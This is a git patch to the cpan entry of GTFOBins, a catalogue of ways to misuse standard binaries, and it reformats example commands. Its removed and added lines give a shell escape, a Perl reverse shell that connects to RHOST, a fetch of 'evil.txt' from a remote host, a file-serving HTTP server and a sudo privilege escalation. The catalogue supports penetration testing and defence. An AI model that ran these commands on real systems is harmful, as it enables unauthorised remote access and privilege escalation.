From b78d64c2369de410f73af138d526516ec0e6a3e0 Mon Sep 17 00:00:00 2001 From: Shaksham Jaiswal Date: Tue, 6 Nov 2018 13:13:35 +0530 Subject: [PATCH] made fixes, thanks to egre55 --- _gtfobins/cpan.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/_gtfobins/cpan.md b/_gtfobins/cpan.md index f50ab37..140a235 100644 --- a/_gtfobins/cpan.md +++ b/_gtfobins/cpan.md @@ -3,30 +3,30 @@ functions: shell: - description: cpan lets you execute perl commands with `! command` code: | - $ cpan - cpan[1]> ! exec '/bin/bash' + cpan + ! exec '/bin/bash' reverse-shell: - description: Run ``nc -lvp RPORT`` on the attacker box to receive the shell. code: | - $ cpan - cpan[1]> ! use Socket; my $i="RHOST"; my $p=RPORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");}; + cpan + ! use Socket; my $i="RHOST"; my $p=RPORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");}; file-upload: - description: Serve files in the local folder running an HTTP server on port 8080. Install dependency via `cpan HTTP::Server::Simple`. code: | - $ cpan - cpan[1]> ! cpan[1]> ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run(); + cpan + ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run(); file-download: - description: Fetch a remote file via HTTP GET request and store it in PWD. code: | - $ cpan - cpan[1]> ! use File::Fetch; my $file = (File::Fetch->new(uri => 'http://RHOST/evil.txt'))->fetch(); + cpan + ! use File::Fetch; my $file = (File::Fetch->new(uri => 'http://RHOST/evil.txt'))->fetch(); sudo: - code: | - $ sudo cpan - cpan[1]> ! exec '/bin/bash' + sudo cpan + ! exec '/bin/bash' ---